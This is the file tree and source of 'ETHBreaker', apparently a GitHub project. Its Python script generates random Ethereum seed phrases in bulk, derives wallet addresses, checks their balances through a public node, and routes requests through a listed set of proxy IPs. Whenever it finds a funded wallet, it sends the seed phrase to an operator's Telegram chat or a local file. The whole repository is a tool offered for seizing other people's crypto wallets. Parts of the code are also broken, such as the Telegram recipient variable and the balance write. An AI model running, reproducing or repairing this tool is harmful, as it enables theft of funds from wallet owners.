├── ETHtest.png ├── usage.png ├── requirements.txt ├── config.py ├── proxy.txt ├── README.md └── app.py /ETHtest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntoshVik/ETHBreaker/HEAD/ETHtest.png -------------------------------------------------------------------------------- /usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AntoshVik/ETHBreaker/HEAD/usage.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | mnemonic 2 | bip32utils 3 | blocksmith 4 | web3 5 | aiogram -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | ADMIN="11111111111" 2 | TOKEN="11111111111:FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFff" -------------------------------------------------------------------------------- /proxy.txt: -------------------------------------------------------------------------------- 1 | {'http': '158.69.53.98:9300', 'http': '209.97.171.82:8080', 'http': '213.135.0.69:8080'} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Required Python < 3.10 2 | 3 | # ETHBreaker by VolkiTech 4 | 5 | ![Screenshot](usage.png) 6 | 7 | ## Added support for Telegram (by aiogram) 8 | MEW network for checking balance 9 | 10 | MultiThreading 11 | 12 | Check childs of wallet 13 | 14 | 12 / 24 Words for wallet 15 | 16 | Proxy list 17 | 18 | Send address of wallet to Telegram or save in file 19 | 20 | Install modules: pip install -r requirements.txt 21 | 22 | ![Screenshot](ETHtest.png) 23 | -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | import os 2 | from mnemonic import Mnemonic 3 | from bip32utils import BIP32Key, BIP32_HARDEN 4 | import blocksmith 5 | from threading import Thread 6 | from web3 import Web3, HTTPProvider 7 | import argparse 8 | 9 | 10 | strength_of_wallet = 128 11 | proxy_use = 'no' 12 | THREAD_NUMBER = 1 13 | CHILDS_NUMBER = 10 14 | tg_launch = 'no' 15 | proxy_file = 'proxy.txt' 16 | TG_ADMIN = '' 17 | 18 | w3 = Web3(HTTPProvider('https://nodes.mewapi.io/rpc/eth')) 19 | 20 | def main(): 21 | if tg_launch.lower() == 'no': 22 | Runner() 23 | else: 24 | Telegram() 25 | 26 | def Telegram(): 27 | from aiogram import Bot 28 | from config import TOKEN, ADMIN 29 | if TOKEN != '': 30 | TG_ADMIN = ADMIN 31 | bot = Bot(token=TOKEN) 32 | try: 33 | bot.send_message(ADMIN, text='Launched') 34 | except: 35 | print('ERROR Send message') 36 | exit() 37 | print("Press Enter to exit", flush=True) 38 | for i in range(THREAD_NUMBER): 39 | Thread(target=loop, args=(i,'tg', bot)).start() 40 | input() 41 | else: print('No TOKEN in base.env file') 42 | 43 | def Runner(): 44 | print("Press Enter to exit", flush=True) 45 | for i in range(THREAD_NUMBER): 46 | Thread(target=loop, args=(i,'run')).start() 47 | input() 48 | 49 | def phrase2seed(phrase, extra_word=''): 50 | """Phrase (+Extra Word) -> Seed""" 51 | assert isinstance(phrase, str), 'phrase should be str' 52 | assert isinstance(extra_word, str), 'extra_word should be str' 53 | 54 | mnemo = Mnemonic('english') 55 | return mnemo.to_seed(phrase, passphrase=extra_word) 56 | 57 | def seed2prvkey(seed, derivation_path): 58 | """Seed -> Private Key""" 59 | assert isinstance(derivation_path, str), 'str_ should be str' 60 | path_list = derivation_path.split('/') 61 | assert path_list[0] == 'm', 'Derivation path should start with char "m"' 62 | 63 | xkey = BIP32Key.fromEntropy(seed).ExtendedKey() 64 | key = BIP32Key.fromExtendedKey(xkey) 65 | for path in path_list[1:]: 66 | if path[-1] == "'": 67 | key = key.ChildKey(int(path[:-1])+BIP32_HARDEN) 68 | else: 69 | key = key.ChildKey(int(path)) 70 | return key.PrivateKey().hex() 71 | 72 | def prvkey2ethaddr(prvkey, checksum=True): 73 | """Private Key -> Ethereum Address""" 74 | addr = blocksmith.EthereumWallet.generate_address(prvkey) 75 | if checksum: 76 | return blocksmith.EthereumWallet.checksum_address(addr) 77 | else: 78 | return addr 79 | 80 | def phrase2ethaddr(phrase, extra_word, derivation_path, checksum=True): 81 | """Phrase (+Extra Word) -> Ethereum Address""" 82 | return prvkey2ethaddr(seed2prvkey(seed=phrase2seed(phrase, extra_word), 83 | derivation_path=derivation_path), 84 | checksum=checksum) 85 | def generate_mnemonic(): 86 | mnemo = Mnemonic("english") 87 | return mnemo.generate(strength=strength_of_wallet) 88 | 89 | def check_balance(wallet_ac): 90 | return w3.eth.getBalance(wallet_ac) 91 | 92 | def writeto(phrase, eth_addr, eth_balance, path): 93 | f = open(os.path.join(os.path.dirname(__file__), 'wallets.txt'), "a") 94 | f.write(phrase + "---" + eth_addr + "---" + eth_balance + "---" + path) 95 | f.close() 96 | 97 | def loop(thread, type_of, bot=''): 98 | while True: 99 | phrase = generate_mnemonic() 100 | extra_word = '' # empty string if no extra word 101 | derivation_path = "m/44'/60'/0'/0/" # the most common derivation path for generating Ethereum addresses 102 | for ch in range(CHILDS_NUMBER + 1): 103 | eth_addr = phrase2ethaddr(phrase, extra_word, derivation_path + str(ch)) 104 | print("!==================================================================================!") 105 | print("Thread: " + str(thread)) 106 | print("Mnemonic: " + phrase) 107 | print("Child: " + str(ch)) 108 | print("Wallet: " + eth_addr) 109 | eth_balance = check_balance(eth_addr) 110 | print("Balance: " + str(eth_balance / 1000000000000000000)) 111 | if(eth_balance != 0): 112 | if type_of == 'tg': 113 | bot.send_message(TG_ADMIN, text= phrase + '\n' + eth_addr + '\n' + derivation_path + str(ch)) 114 | elif type_of == 'run': 115 | writeto(phrase, eth_addr, eth_balance, derivation_path + str(ch)) 116 | 117 | 118 | parser = argparse.ArgumentParser(description='Eth wallets breaker') 119 | parser.add_argument('-st', dest="strength_of_wallet", help="Strength of wallets (128 for 12 words / 256 for 24 words)", default=128, type=int, required=False) 120 | parser.add_argument('-proxy', dest = "proxy_use", help="Use proxy? (YES/NO)", default="no", required=False) 121 | parser.add_argument('-threads', dest = "THREAD_NUMBER", help="Number of threads (recommended <= 3)", default=1, type=int, required=False) 122 | parser.add_argument('-childs', dest = "CHILDS_NUMBER", help="Number of childs for wallet (recommended <= 10)", default=10, type=int, required=False) 123 | parser.add_argument('-tg', dest = "tg_launch", help="Launch as telegram bot (YES/NO)", default='no', required=False) 124 | args = parser.parse_args() 125 | 126 | strength_of_wallet = args.strength_of_wallet 127 | proxy_use = args.proxy_use 128 | THREAD_NUMBER = args.THREAD_NUMBER 129 | CHILDS_NUMBER = args.CHILDS_NUMBER 130 | tg_launch = args.tg_launch 131 | 132 | if proxy_use.lower() == 'yes': 133 | with open(os.path.join(os.path.dirname(__file__), proxy_file), 'r') as file: 134 | w3 = Web3(HTTPProvider('https://nodes.mewapi.io/rpc/eth',request_kwargs={"proxies":file.read()})) 135 | main() --------------------------------------------------------------------------------